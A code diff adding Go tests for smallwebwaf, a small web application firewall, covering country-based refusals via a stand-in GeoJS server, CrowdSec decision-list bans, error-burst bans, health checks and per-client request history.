+				req := newRequest(t, http.MethodGet, addr, "/", http.NoBody)
+				req.Header.Set(forwardedFor, sent.client)
+				got := do(t, req)
+
+				line := out.endedLines(t, i+1)[i]
+				if line.ASN != sent.asn || line.ASName != sent.asName ||
+					line.Country != sent.country {
+					t.Errorf("log line has %q, %q and %q, want %q, %q and %q",
+						line.ASN, line.ASName, line.Country,
+						sent.asn, sent.asName, sent.country)
+				}
+
+				if slices.Contains(tc.refused, sent.client) {
+					wantStatus(t, got, http.StatusForbidden)
+					wantLine(t, line, http.StatusForbidden, requestlog.ActionCountryDenied)
+				} else {
+					wantStatus(t, got, http.StatusOK)
+					wantLine(t, line, http.StatusOK, requestlog.ActionForward)
+				}
+			}
+
+			if int(calls.Load()) != 3-len(tc.refused) {
+				t.Errorf("the app was called %d times, want %d",
+					calls.Load(), 3-len(tc.refused))
+			}
+		})
+	}
+}
+
+func TestCountryRefusalKeepsARequestFromTheApp(t *testing.T) {
+	t.Parallel()
+
+	var calls atomic.Int32
+
+	app := startApp(t, func(http.ResponseWriter, *http.Request) {
+		calls.Add(1)
+	})
+	geojsURL, _ := startGeoJS(t)
+	addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, map[string]string{
+		trustedProxies:  trustLocalhost,
+		lookupTimeout:   "1h",
+		deniedCountries: "kp",
+	})
+
+	req := newRequest(t, http.MethodPost, addr, "/", strings.NewReader("a body"))
+	req.Header.Set(forwardedFor, fromKP)
+	wantStatus(t, do(t, req), http.StatusForbidden)
+
+	line := out.endedLine(t)
+	wantLine(t, line, http.StatusForbidden, requestlog.ActionCountryDenied)
+
+	if calls.Load() != 0 {
+		t.Errorf("the app was called %d times, want none", calls.Load())
+	}
+}
+
+func TestRequestRefusedByCountryIsNotCounted(t *testing.T) {
+	t.Parallel()
+
+	// The stand-in for GeoJS fails until placing is set, and then places
+	// every address in Germany.
+	var placing atomic.Bool
+
+	geojs := httptest.NewServer(http.HandlerFunc(
+		func(w http.ResponseWriter, r *http.Request) {
+			if !placing.Load() {
+				w.WriteHeader(http.StatusServiceUnavailable)
+
+				return
+			}
+
+			answer := []geojsAnswer{{IP: r.URL.Query().Get("ip"), CountryCode: "DE"}}
+
+			err := json.NewEncoder(w).Encode(answer)
+			if err != nil {
+				http.Error(w, err.Error(), http.StatusInternalServerError)
+			}
+		}))
+	t.Cleanup(geojs.Close)
+
+	app := startApp(t, func(http.ResponseWriter, *http.Request) {})
+	addr, _ := startProxyWithGeoJS(t, app.URL, geojs.URL, map[string]string{
+		trustedProxies:     trustLocalhost,
+		lookupTimeout:      "1h",
+		allowedCountries:   "de",
+		rateLimitPerMinute: "1",
+	})
+
+	request := func() answer {
+		req := newRequest(t, http.MethodGet, addr, "/", http.NoBody)
+		req.Header.Set(forwardedFor, fromDE)
+
+		return do(t, req)
+	}
+
+	// While GeoJS fails, the client's country cannot be found, and its
+	// request is refused.
+	wantStatus(t, request(), http.StatusForbidden)
+
+	// Once GeoJS places it, a second after the failure, its requests are let
+	// through. No refused one was counted, so the first let through is
+	// within the limit of one a minute.
+	placing.Store(true)
+
+	deadline := time.Now().Add(waitLimit)
+	got := request()
+
+	for got.status == http.StatusForbidden && time.Now().Before(deadline) {
+		time.Sleep(pollInterval)
+
+		got = request()
+	}
+
+	wantStatus(t, got, http.StatusOK)
+}
+
+func TestPrivateAddressIsNeverLookedUp(t *testing.T) {
+	t.Parallel()
+
+	for _, tc := range []struct {
+		name string
+		env  map[string]string
+	}{
+		{"no setting needs the lookup", nil},
+		{"a country list is set", map[string]string{deniedCountries: "kp"}},
+	} {
+		t.Run(tc.name, func(t *testing.T) {
+			t.Parallel()
+
+			app := startApp(t, func(http.ResponseWriter, *http.Request) {})
+			geojsURL, asked := startGeoJS(t)
+			env := map[string]string{trustedProxies: trustLocalhost, lookupTimeout: "1h"}
+			maps.Copy(env, tc.env)
+			addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, env)
+
+			// "" sends no X-Forwarded-For: the client is 127.0.0.1.
+			for i, sent := range []string{
+				"10.0.0.5", "192.168.1.9", "fd00::5", "", "169.254.0.9", "fe80::9",
+			} {
+				req := newRequest(t, http.MethodGet, addr, "/", http.NoBody)
+				if sent != "" {
+					req.Header.Set(forwardedFor, sent)
+				}
+
+				wantStatus(t, do(t, req), http.StatusOK)
+
+				line := out.endedLines(t, i+1)[i]
+				wantLine(t, line, http.StatusOK, requestlog.ActionForward)
+
+				for _, field := range []string{"asn", "as_name", "country"} {
+					value, present := line.fields[field]
+					if !present || value != "" {
+						t.Errorf("log line for %q has %s %v, want an empty one",
+							line.ClientIP, field, value)
+					}
+				}
+			}
+
+			// GeoJS is asked about up to 200 waiting clients at once, so once it
+			// has been asked about fromDE, which comes last, it has been asked
+			// about every client before it that waited for an answer.
+			req := newRequest(t, http.MethodGet, addr, "/", http.NoBody)
+			req.Header.Set(forwardedFor, fromDE)
+			wantStatus(t, do(t, req), http.StatusOK)
+
+			waitUntil(func() bool { return slices.Contains(asked(), fromDE) })
+
+			if got := asked(); !slices.Equal(got, []string{fromDE}) {
+				t.Errorf("GeoJS was asked about %v, want %s alone", got, fromDE)
+			}
+		})
+	}
+}
+
+func TestExclusiveListRefusesAPrivateAddressUnlessAllowed(t *testing.T) {
+	t.Parallel()
+
+	for _, tc := range []struct {
+		name      string
+		allowNets string
+		status    int
+		action    string
+	}{
+		{
+			"not in SWWAF_ALLOW_NETS", "",
+			http.StatusForbidden, requestlog.ActionCountryDenied,
+		},
+		{
+			"in SWWAF_ALLOW_NETS", "10.0.0.7,fd00::/8",
+			http.StatusOK, requestlog.ActionForward,
+		},
+	} {
+		t.Run(tc.name, func(t *testing.T) {
+			t.Parallel()
+
+			app := startApp(t, func(http.ResponseWriter, *http.Request) {})
+			geojsURL, asked := startGeoJS(t)
+			addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, map[string]string{
+				trustedProxies:   trustLocalhost,
+				allowedCountries: "de",
+				allowNets:        tc.allowNets,
+			})
+
+			wantAnswers(t, addr, out, []sentRequest{
+				{"10.0.0.7", tc.status, tc.action},
+				{"fd00::5", tc.status, tc.action},
+			})
+
+			if len(asked()) != 0 {
+				t.Errorf("GeoJS was asked about %v, want nothing", asked())
+			}
+		})
+	}
+}
+
+// startGeoJS starts a stand-in for GeoJS, which places fromDE and fromKP,
+// each in an AS of its own, and no other address. It returns its URL, and
+// what returns the addresses it has been asked about. A test that needs
+// the stand-in to be asked or to answer sets SWWAF_LOOKUP_TIMEOUT to an
+// hour, whether or not a request waits for the answer: on the default, a
+// hold-up of the test process can abandon the request to the stand-in, and
+// leave the client unknown.
+func startGeoJS(t *testing.T) (string, func() []string) {
+	t.Helper()
+
+	geojsURL, asked, release := startHeldGeoJS(t)
+	release()
+
+	return geojsURL, asked
+}
+
+// startHeldGeoJS is startGeoJS for a stand-in that answers nothing until
+// release is called. Each request to it waits until then.
+func startHeldGeoJS(t *testing.T) (string, func() []string, func()) {
+	t.Helper()
+
+	var (
+		asked struct {
+			mu    sync.Mutex
+			addrs []string
+		}
+		released = make(chan struct{})
+		once     sync.Once
+	)
+
+	geojs := httptest.NewServer(http.HandlerFunc(
+		func(w http.ResponseWriter, r *http.Request) {
+			addrs := strings.Split(r.URL.Query().Get("ip"), ",")
+
+			asked.mu.Lock()
+			asked.addrs = append(asked.addrs, addrs...)
+			asked.mu.Unlock()
+
+			<-released
+
+			answers := make([]geojsAnswer, 0, len(addrs))
+			for _, addr := range addrs {
+				answers = append(answers, answerAbout(addr))
+			}
+
+			err := json.NewEncoder(w).Encode(answers)
+			if err != nil {
+				http.Error(w, err.Error(), http.StatusInternalServerError)
+			}
+		}))
+	t.Cleanup(geojs.Close)
+
+	release := func() { once.Do(func() { close(released) }) }
+	// Run before geojs.Close, which waits for every request to be answered.
+	t.Cleanup(release)
+
+	return geojs.URL, func() []string {
+		asked.mu.Lock()
+		defer asked.mu.Unlock()
+
+		return slices.Clone(asked.addrs)
+	}, release
+}
+
+// The AS numbers and names the stand-in for GeoJS gives fromDE and
+// fromKP, as they are logged.
+const (
+	asnDE    = "AS64496"
+	asNameDE = "Example Net"
+	asnKP    = "AS64511"
+	asNameKP = "Other Net"
+)
+
+// geojsAnswer is an answer of GeoJS about one address, with the fields
+// smallwebwaf reads.
+//
+//nolint:tagliatelle // GeoJS's own names
+type geojsAnswer struct {
+	IP          string `json:"ip"`
+	ASN         int    `json:"asn"`
+	ASName      string `json:"organization_name"`
+	CountryCode string `json:"country_code,omitempty"`
+}
+
+// answerAbout is what the stand-in for GeoJS answers about addr: for an
+// address it cannot place, the AS number 64512 and the AS name Unknown
+// with no country, as GeoJS does.
+func answerAbout(addr string) geojsAnswer {
+	switch addr {
+	case fromDE:
+		return geojsAnswer{IP: addr, ASN: 64496, ASName: asNameDE, CountryCode: "DE"}
+	case fromKP:
+		return geojsAnswer{IP: addr, ASN: 64511, ASName: asNameKP, CountryCode: "KP"}
+	}
+
+	return geojsAnswer{IP: addr, ASN: 64512, ASName: "Unknown"}
+}

internal/servewaf/crowdsec_test.go

@@ -0,0 +1,181 @@
+package servewaf_test
+
+import (
+	"net/http"
+	"net/netip"
+	"reflect"
+	"testing"
+	"time"
+
+	"sneak.berlin/go/smallwebwaf/internal/alerts"
+	"sneak.berlin/go/smallwebwaf/internal/bans"
+	"sneak.berlin/go/smallwebwaf/internal/reputation"
+	"sneak.berlin/go/smallwebwaf/internal/requestlog"
+	"sneak.berlin/go/smallwebwaf/internal/servewaf"
+)
+
+// The CrowdSec settings, and the tests' engine, which is never asked: each
+// test puts in the copy of its decision list, at decisionsURL, that it
+// needs, as reputation.json would at start.
+const (
+	crowdSecURL  = "SWWAF_CROWDSEC_LAPI_URL"
+	crowdSecKey  = "SWWAF_CROWDSEC_LAPI_KEY"
+	lapi         = "http://crowdsec.example:8080"
+	decisionsURL = lapi + "/v1/decisions"
+	bouncerKey   = "crowdsec-key-0123456789abcdef"
+)
+
+func TestClientTheCrowdSecDecisionListListsIsBannedUntilTheDecisionEnds(t *testing.T) {
+	t.Parallel()
+
+	s, clk, server, queue := startWithAlerts(t, map[string]string{
+		crowdSecURL: lapi, crowdSecKey: bouncerKey, metricsToken: token,
+	})
+	// client had four hours left on its decision as the engine answered.
+	fetched := clk.Now()
+	loadDecisions(t, server, fetched, `[{"duration": "4h0m0s", `+
+		`"scenario": "crowdsecurity/ssh-bf", "scope": "Ip", "type": "ban", `+
+		`"value": "`+client+`"}]`)
+	expires := requestlog.FormatTime(fetched.Add(4 * time.Hour))
+
+	// Its first request is refused, and bans it until the decision ends.
+	line := s.get(client, http.StatusForbidden, requestlog.ActionBanned)
+	wantReputation(t, line, decisionsURL)
+
+	if line.BanExpires != expires {
+		t.Errorf("log line has ban_expires %q, want %s", line.BanExpires, expires)
+	}
+
+	listed := []bans.ReputationHit{{Source: decisionsURL}}
+
+	held := server.Ledger.Bans(netip.MustParsePrefix(client + "/32"))
+	if len(held) != 1 || held[0].Cause != bans.CauseCrowdSec ||
+		!held[0].Start.Equal(fetched) || !held[0].Expires.Equal(fetched.Add(4*time.Hour)) ||
+		held[0].Reason != "CrowdSec's decision for crowdsecurity/ssh-bf" ||
+		!reflect.DeepEqual(held[0].Notes.Reputation, listed) ||
+		held[0].Notes.Request.Path != "/" || held[0].Notes.Requests != 1 {
+		t.Fatalf("bans %+v, want one for crowdsec of four hours, with the list and "+
+			"the request in its notes", held)
+	}
+
+	// The listing raises a reputation_hit alert, and the ban its own.
+	waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
+	if len(waiting) != 2 || waiting[0].Event != alerts.EventReputationHit ||
+		waiting[0].Reason != "listed by the CrowdSec decision list" ||
+		!reflect.DeepEqual(waiting[1], banAlert(alerts.EventBan, fetched, client, held[0],
+			expires)) {
+		t.Errorf("alerts waiting %+v, want a reputation_hit alert, then the ban's",
+			waiting)
+	}
+
+	// Each request while the ban lasts is refused under it, as under any
+	// ban, and once it has ended the client is let through.
+	clk.advance(4*time.Hour - time.Second)
+
+	line = s.get(client, http.StatusForbidden, requestlog.ActionBanned)
+	wantReputation(t, line)
+
+	if line.BanExpires != expires {
+		t.Errorf("log line has ban_expires %q, want %s", line.BanExpires, expires)
+	}
+
+	clk.advance(time.Second)
+	s.get(client, http.StatusOK, requestlog.ActionForward)
+
+	// The ban and the hit are counted, and the list has the metrics of any
+	// list fetched from a URL.
+	metrics := s.scrape()
+	labels := `{instance="` + alertInstance + `",source="` + decisionsURL + `"}`
+
+	wantMetric(t, metrics, `smallwebwaf_bans_made_total{cause="crowdsec",`+
+		`instance="`+alertInstance+`"}`, 1)
+	wantMetric(t, metrics, "smallwebwaf_reputation_hits_total"+labels, 1)
+	wantMetric(t, metrics, "smallwebwaf_reputation_failures_total"+labels, 0)
+	wantMetric(t, metrics, "smallwebwaf_reputation_last_fetch_timestamp_seconds"+labels,
+		float64(fetched.Unix()))
+}
+
+func TestEndedCrowdSecDecisionNoLongerBansThoughTheCopyStillHoldsIt(t *testing.T) {
+	t.Parallel()
+
+	s, clk, server := startWithClock(t, "", map[string]string{
+		crowdSecURL: lapi, crowdSecKey: bouncerKey,
+	})
+	// 198.51.100.0/24 and 2001:db8::9 had a minute left as the engine
+	// answered.
+	fetched := clk.Now()
+	loadDecisions(t, server, fetched, `[{"duration": "1m0s", `+
+		`"scenario": "crowdsecurity/http-probing", "scope": "Range", "type": "ban", `+
+		`"value": "198.51.100.0/24"}, {"duration": "1m0s", `+
+		`"scenario": "crowdsecurity/http-probing", "scope": "Ip", "type": "ban", `+
+		`"value": "2001:db8::9"}]`)
+
+	// Just before its end, the decision bans a client in the netblock, and
+	// one on an IPv6 address bans the address's group, the /64.
+	clk.advance(time.Minute - time.Nanosecond)
+	s.get("198.51.100.7", http.StatusForbidden, requestlog.ActionBanned)
+	s.get("2001:db8::9", http.StatusForbidden, requestlog.ActionBanned)
+	s.get("2001:db8::5", http.StatusForbidden, requestlog.ActionBanned)
+
+	// Once it has ended, it bans no other client, and the bans it made end
+	// with it.
+	clk.advance(time.Nanosecond)
+
+	for _, from := range []string{"198.51.100.8", "198.51.100.7", "2001:db8::5"} {
+		wantReputation(t, s.get(from, http.StatusOK, requestlog.ActionForward))
+	}
+
+	if made := server.Ledger.Made(bans.CauseCrowdSec); made != 2 {
+		t.Errorf("%d bans made for crowdsec, want 2, on 198.51.100.7/32 and "+
+			"2001:db8::/64", made)
+	}
+
+	if held := server.Ledger.Bans(netip.MustParsePrefix("2001:db8::/64")); len(held) != 1 {
+		t.Errorf("bans of 2001:db8::/64 %+v, want one", held)
+	}
+}
+
+func TestObserveModeForwardsAClientTheCrowdSecDecisionListListsAndAlertsTheBan(
+	t *testing.T,
+) {
+	t.Parallel()
+
+	s, clk, server, queue := startWithAlerts(t, map[string]string{
+		crowdSecURL: lapi, crowdSecKey: bouncerKey, mode: observe,
+	})
+	loadDecisions(t, server, clk.Now(), `[{"duration": "4h0m0s", `+
+		`"scenario": "crowdsecurity/ssh-bf", "scope": "Ip", "type": "ban", `+
+		`"value": "`+client+`"}]`)
+
+	line := s.get(client, http.StatusOK, requestlog.ActionForward)
+	wantWouldAction(t, line, requestlog.ActionBanned)
+	wantReputation(t, line, decisionsURL)
+
+	if held := server.Ledger.Snapshot(); len(held) != 0 {
+		t.Errorf("bans %+v, want none", held)
+	}
+
+	waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
+	if len(waiting) != 2 || waiting[1].Event != alerts.EventBan ||
+		waiting[1].Detail["cause"] != bans.CauseCrowdSec ||
+		waiting[1].Detail["mode"] != observe {
+		t.Errorf("alerts waiting %+v, want a reputation_hit alert, then the ban alert "+
+			"marked observe", waiting)
+	}
+}
+
+// loadDecisions puts into server's lists the copy of the decision list at
+// decisionsURL, answer, the engine's answer, fetched at fetched, as
+// reputation.json would at start.
+func loadDecisions(
+	t *testing.T, server *servewaf.Server, fetched time.Time, answer string,
+) {
+	t.Helper()
+
+	err := server.Lists.Load([]reputation.List{{
+		URL: decisionsURL, Tried: fetched, Fetched: fetched, Lines: []string{answer},
+	}})
+	if err != nil {
+		t.Fatalf("load the decision list: %v", err)
+	}
+}

internal/servewaf/errorburst_test.go

@@ -0,0 +1,366 @@
+package servewaf_test
+
+import (
+	"maps"
+	"net/http"
+	"net/netip"
+	"reflect"
+	"testing"
+	"time"
+
+	"sneak.berlin/go/smallwebwaf/internal/alerts"
+	"sneak.berlin/go/smallwebwaf/internal/bans"
+	"sneak.berlin/go/smallwebwaf/internal/ratelimit"
+	"sneak.berlin/go/smallwebwaf/internal/requestlog"
+	"sneak.berlin/go/smallwebwaf/internal/servewaf"
+)
+
+const errorBurstThreshold = "SWWAF_ERROR_BURST_THRESHOLD"
+
+// refused is a request the tests here send, which servewaf refuses after a rule
+// file match.
+type refused int
+
+const (
+	// blockRule is a request testRules' block rule refuses with 403.
+	blockRule refused = iota
+	// banRule is one its ban rule refuses with 403, and bans the client
+	// for.
+	banRule
+)
+
+// send sends r from the client at from, checks its answer and log line as
+// sender.request does, and returns the line.
+func (r refused) send(s *sender, from string) logLine {
+	s.t.Helper()
+
+	switch r {
+	case blockRule:
+		return s.request(from, blockedPath, http.StatusForbidden,
+			requestlog.ActionRuleBlocked)
+	case banRule:
+		return s.request(from, probePath, http.StatusForbidden, requestlog.ActionBanned)
+	}
+
+	s.t.Fatalf("no request for the refusal %d", r)
+
+	return logLine{}
+}
+
+// startForErrorBurst is startWithClock with testRules, the metrics token and
+// SWWAF_ERROR_BURST_THRESHOLD at threshold, and the settings in env.
+func startForErrorBurst(
+	t *testing.T, threshold string, env map[string]string,
+) (*sender, *clock, *servewaf.Server) {
+	t.Helper()
+
+	settings := map[string]string{
+		errorBurstThreshold: threshold,
+		rulesDir:            writeRules(t, testRules),
+		metricsToken:        token,
+	}
+	maps.Copy(settings, env)
+
+	return startWithClock(t, "", settings)
+}
+
+func TestErrorBurstBreaksAtOneOverTheThreshold(t *testing.T) {
+	t.Parallel()
+
+	for _, tc := range []struct {
+		name string
+		// refusals are four, one over the threshold of three.
+		refusals []refused
+	}{
+		{"block rule", []refused{blockRule, blockRule, blockRule, blockRule}},
+		{"a ban rule last", []refused{blockRule, blockRule, blockRule, banRule}},
+	} {
+		t.Run(tc.name, func(t *testing.T) {
+			t.Parallel()
+
+			s, _, _ := startForErrorBurst(t, "3", nil)
+
+			// Three refusals break nothing, and the app's answers between
+			// them are not counted.
+			for i, r := range tc.refusals[:3] {
+				line := r.send(s, client)
+				if line.LimitHit != "" || line.Offence != "" {
+					t.Errorf("refusal %d: log line has limit_hit %q and offence %q, "+
+						"want none", i+1, line.LimitHit, line.Offence)
+				}
+
+				s.get(client, http.StatusOK, requestlog.ActionForward)
+			}
+
+			// The fourth is answered as the others were, breaks the error
+			// burst, and bans the client.
+			line := tc.refusals[3].send(s, client)
+			if line.LimitHit != requestlog.LimitHitErrorBurst ||
+				line.Offence != requestlog.OffenceLimit {
+				t.Errorf("log line has limit_hit %q and offence %q, want error_burst "+
+					"and limit", line.LimitHit, line.Offence)
+			}
+
+			s.get(client, http.StatusForbidden, requestlog.ActionBanned)
+		})
+	}
+}
+
+func TestErrorBurstBanNotesHistoryAndMetrics(t *testing.T) {
+	t.Parallel()
+
+	s, clk, server := startForErrorBurst(t, "2", nil)
+	start := clk.Now()
+
+	blockRule.send(s, client)
+	blockRule.send(s, client)
+	line := blockRule.send(s, client)
+
+	expires := start.Add(time.Hour)
+	if line.BanExpires != requestlog.FormatTime(expires) {
+		t.Errorf("log line has ban_expires %q, want an hour on", line.BanExpires)
+	}
+
+	netblock := netip.MustParsePrefix(client + "/32")
+	want := bans.Ban{
+		Netblock: netblock,
+		Start:    start,
+		Expires:  expires,
+		Cause:    bans.CauseLimit,
+		Reason:   "refusals per minute over the limit of 2",
+		Notes: bans.Notes{
+			Kind:   ratelimit.KindRefusals,
+			Limit:  2,
+			Window: minute,
+			Count:  3,
+			Request: bans.Request{
+				Time:      start,
+				Method:    http.MethodGet,
+				Host:      appHost,
+				Path:      blockedPath,
+				Status:    http.StatusForbidden,
+				UserAgent: userAgent,
+			},
+			Requests: 3,
+		},
+	}
+
+	got := server.Ledger.Bans(netblock)
+	if len(got) != 1 || !reflect.DeepEqual(got[0], want) {
+		t.Fatalf("bans\n%+v\nwant\n%+v", got, want)
+	}
+
+	wantOffences := ratelimit.Offences{Limit: 1, RuleBlocked: 3}
+	if offences := historyOf(t, server, client).Offences; offences != wantOffences {
+		t.Errorf("history counts the offences %+v, want %+v", offences, wantOffences)
+	}
+
+	metrics := s.scrape()
+	wantMetric(t, metrics, `smallwebwaf_rate_limit_hits_total{instance="app",`+
+		`kind="refusals",window="minute"}`, 1)
+	wantMetric(t, metrics, `smallwebwaf_offences_total{instance="app",kind="limit"}`, 1)
+	wantMetric(t, metrics,
+		`smallwebwaf_offences_total{instance="app",kind="rule_blocked"}`, 3)
+	wantMetric(t, metrics, `smallwebwaf_bans_made_total{cause="limit",instance="app"}`, 1)
+}
+
+func TestErrorBurstIsNotLoweredForAClientWithLowerLimits(t *testing.T) {
+	t.Parallel()
+
+	geojsURL, _ := startGeoJS(t)
+	s, _, server := startWithClock(t, geojsURL, map[string]string{
+		lookupTimeout:       "1h",
+		errorBurstThreshold: "2",
+		rulesDir:            writeRules(t, testRules),
+		countryLimitPercent: countryDEHalf,
+	})
+
+	// Half of the threshold would be one, which the second refusal is over.
+	for range 2 {
+		line := blockRule.send(s, fromDE)
+		if line.LimitHit != "" {
+			t.Errorf("log line has limit_hit %q, want none", line.LimitHit)
+		}
+	}
+
+	blockRule.send(s, fromDE)
+
+	got := server.Ledger.Bans(netip.MustParsePrefix(fromDE + "/32"))
+	if len(got) != 1 || got[0].Notes.Limit != 2 || got[0].Notes.LimitPercent != nil {
+		t.Errorf("bans %+v, want one for the limit of 2, without a limit percentage", got)
+	}
+}
+
+func TestErrorBurstDoesNotCountTheAppsAnswers(t *testing.T) {
+	t.Parallel()
+
+	statuses := map[string]int{
+		"/missing":   http.StatusNotFound,
+		"/private":   http.StatusUnauthorized,
+		"/forbidden": http.StatusForbidden,
+	}
+	s, _, _, queue := startAppWithAlerts(t, func(w http.ResponseWriter, r *http.Request) {
+		w.WriteHeader(statuses[r.URL.Path])
+	}, map[string]string{errorBurstThreshold: "1", rulesDir: writeRules(t, testRules)})
+
+	for range 2 {
+		for path, status := range statuses {
+			s.request(client, path, status, requestlog.ActionForward)
+		}
+	}
+
+	// The first refusal is one, not over the threshold.
+	line := blockRule.send(s, client)
+	if line.LimitHit != "" {
+		t.Errorf("log line has limit_hit %q, want none", line.LimitHit)
+	}
+
+	// No ban was made, nor its alert raised.
+	s.request(client, "/missing", http.StatusNotFound, requestlog.ActionForward)
+	wantAlerts(t, queue)
+}
+
+func TestErrorBurstOffOrAtItsDefault(t *testing.T) {
+	t.Parallel()
+
+	for _, tc := range []struct {
+		threshold string
+		// broken is whether the 31st refusal breaks the error burst.
+		broken bool
+	}{
+		{"", true},
+		{off, false},
+	} {
+		t.Run(errorBurstThreshold+"="+tc.threshold, func(t *testing.T) {
+			t.Parallel()
+
+			env := map[string]string{rulesDir: writeRules(t, testRules)}
+			if tc.threshold != "" {
+				env[errorBurstThreshold] = tc.threshold
+			}
+
+			s, _, _ := startWithClock(t, "", env)
+
+			var line logLine
+			for range 31 {
+				line = blockRule.send(s, client)
+			}
+
+			if broken := line.LimitHit == requestlog.LimitHitErrorBurst; broken != tc.broken {
+				t.Errorf("the 31st refusal broke the error burst: %t, want %t",
+					broken, tc.broken)
+			}
+		})
+	}
+}
+
+func TestErrorBurstCountsEachClientTheChecksApplyTo(t *testing.T) {
+	t.Parallel()
+
+	const (
+		allowed = "192.0.2.60" // in SWWAF_ALLOW_NETS
+		exempt  = "192.0.2.50" // in SWWAF_RATE_LIMIT_EXEMPT_NETS
+	)
+
+	s, _, _ := startForErrorBurst(t, "1", map[string]string{
+		allowNets: allowed, rateLimitExemptNets: exempt,
+	})
+
+	// A client in SWWAF_ALLOW_NETS is not refused, and so not counted.
+	for range 3 {
+		s.request(allowed, blockedPath, http.StatusOK, requestlog.ActionForward)
+	}
+
+	// One the rate limits do not apply to is.
+	blockRule.send(s, exempt)
+
+	line := blockRule.send(s, exempt)
+	if line.LimitHit != requestlog.LimitHitErrorBurst {
+		t.Errorf("log line has limit_hit %q, want error_burst", line.LimitHit)
+	}
+
+	s.get(exempt, http.StatusForbidden, requestlog.ActionBanned)
+}
+
+func TestErrorBurstBanSetsTheRefusalsBackToZero(t *testing.T) {
+	t.Parallel()
+
+	s, clk, _ := startForErrorBurst(t, "1", map[string]string{limitBanDuration: "1s"})
+
+	blockRule.send(s, client)
+	blockRule.send(s, client)
+
+	// Within the same minute, once the ban has ended, the next refusal is
+	// the first again.
+	clk.advance(time.Second)
+
+	line := blockRule.send(s, client)
+	if line.LimitHit != "" {
+		t.Errorf("log line has limit_hit %q, want none", line.LimitHit)
+	}
+}
+
+func TestObserveModeLogsAndAlertsTheErrorBurst(t *testing.T) {
+	t.Parallel()
+
+	s, clk, server, queue := startWithAlerts(t, map[string]string{
+		mode:                observe,
+		errorBurstThreshold: "1",
+		rulesDir:            writeRules(t, testRules),
+	})
+	start := clk.Now()
+	held := bans.Ban{
+		Netblock: netip.MustParsePrefix(otherClient + "/32"),
+		Start:    start,
+		Expires:  start.Add(time.Hour),
+		Cause:    bans.CauseAdmin,
+	}
+	server.Ledger.Load([]bans.Ban{held})
+
+	// Under a ban, enforce mode would have refused these before the rule, so
+	// they are not counted.
+	for range 2 {
+		line := s.request(otherClient, blockedPath, http.StatusOK,
+			requestlog.ActionForward)
+		wantWouldAction(t, line, requestlog.ActionBanned)
+
+		if line.LimitHit != "" {
+			t.Errorf("log line has limit_hit %q, want none", line.LimitHit)
+		}
+	}
+
+	// The block rule's refusal, which enforce mode would have answered 403,
+	// is the second of the client's, and would have banned it.
+	s.request(client, blockedPath, http.StatusOK, requestlog.ActionForward)
+
+	line := s.request(client, blockedPath, http.StatusOK, requestlog.ActionForward)
+	wantWouldAction(t, line, requestlog.ActionRuleBlocked)
+
+	if line.LimitHit != requestlog.LimitHitErrorBurst || line.BanExpires != "" {
+		t.Errorf("log line has limit_hit %q and ban_expires %q, want error_burst "+
+			"and none", line.LimitHit, line.BanExpires)
+	}
+
+	if got := server.Ledger.Snapshot(); len(got) != 1 || !reflect.DeepEqual(got[0], held) {
+		t.Errorf("bans %+v, want only the one held", got)
+	}
+
+	waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
+	if len(waiting) != 1 {
+		t.Fatalf("%d alerts wait, want 1: %+v", len(waiting), waiting)
+	}
+
+	notes, _ := waiting[0].Detail["notes"].(bans.Notes)
+	if notes.Kind != ratelimit.KindRefusals || notes.Count != 2 ||
+		notes.Request.Status != http.StatusForbidden {
+		t.Errorf("the alert's notes are %+v, want two refusals, the last answered 403",
+			notes)
+	}
+
+	alert := banAlert(alerts.EventBan, start, client, bans.Ban{
+		Netblock: netip.MustParsePrefix(client + "/32"), Cause: bans.CauseLimit,
+		Reason: "refusals per minute over the limit of 1", Notes: notes,
+	}, requestlog.FormatTime(start.Add(time.Hour)))
+	alert.Detail["mode"] = observe
+	wantAlerts(t, queue, alert)
+}

internal/servewaf/health_test.go

@@ -0,0 +1,40 @@
+package servewaf_test
+
+import (
+	"net/http"
+	"testing"
+
+	"sneak.berlin/go/smallwebwaf/internal/requestlog"
+	"sneak.berlin/go/smallwebwaf/internal/servewaf"
+)
+
+func TestHealthEndpointCountsTowardNoLimit(t *testing.T) {
+	t.Parallel()
+
+	// With a limit of one request a minute, any request counted before
+	// the last one would have it refused.
+	s, _, _ := startWithClock(t, "", map[string]string{rateLimitPerMinute: "1"})
+
+	const (
+		healthChecks = 3
+		contentType  = "text/plain; charset=utf-8"
+	)
+
+	for range healthChecks {
+		got := s.adminRequest("", http.MethodGet, servewaf.HealthPath, "", http.StatusOK)
+
+		if string(got.body) != "ok\n" || got.header.Get("Content-Type") != contentType {
+			t.Errorf("health endpoint answered %q with Content-Type %q, want ok "+
+				"with %q", got.body, got.header.Get("Content-Type"), contentType)
+		}
+	}
+
+	s.get(client, http.StatusOK, requestlog.ActionForward)
+
+	for _, line := range s.out.endedLines(t, healthChecks)[:healthChecks] {
+		if line.ResponseContentType != contentType {
+			t.Errorf("health check's log line has response_content_type %q, "+
+				"want %q", line.ResponseContentType, contentType)
+		}
+	}
+}

internal/servewaf/history_test.go

@@ -0,0 +1,142 @@
+package servewaf_test
+
+import (
+	"io"
+	"net/http"
+	"net/netip"
+	"strings"
+	"testing"
+	"time"
+
+	"sneak.berlin/go/smallwebwaf/internal/ratelimit"
+	"sneak.berlin/go/smallwebwaf/internal/requestlog"
+	"sneak.berlin/go/smallwebwaf/internal/servewaf"
+)
+
+func TestHistoryKeepsEachRequestOfTheClient(t *testing.T) {
+	t.Parallel()
+
+	geojsURL, _ := startGeoJS(t)
+	s, clk, server := startWithClock(t, geojsURL, map[string]string{
+		lookupTimeout:      "1h",
+		rateLimitPerMinute: "2",
+		deniedCountries:    "kp",
+	})
+	start := clk.Now()
+
+	// Two let through, one over the limit, which bans the client, and one
+	// refused under that ban, for which the client is not looked up. GeoJS
+	// answers about the client at its first request, and its later ones
+	// use that answer.
+	s.get(fromDE, http.StatusOK, requestlog.ActionForward)
+	clk.advance(time.Second)
+	s.get(fromDE, http.StatusOK, requestlog.ActionForward)
+	s.get(fromDE, http.StatusForbidden, requestlog.ActionRateLimited)
+	clk.advance(time.Second)
+	s.get(fromDE, http.StatusForbidden, requestlog.ActionBanned)
+
+	want := ratelimit.History{
+		FirstSeen: start,
+		LastSeen:  start.Add(2 * time.Second),
+		ASN:       asnDE,
+		ASName:    asNameDE,
+		Country:   "DE",
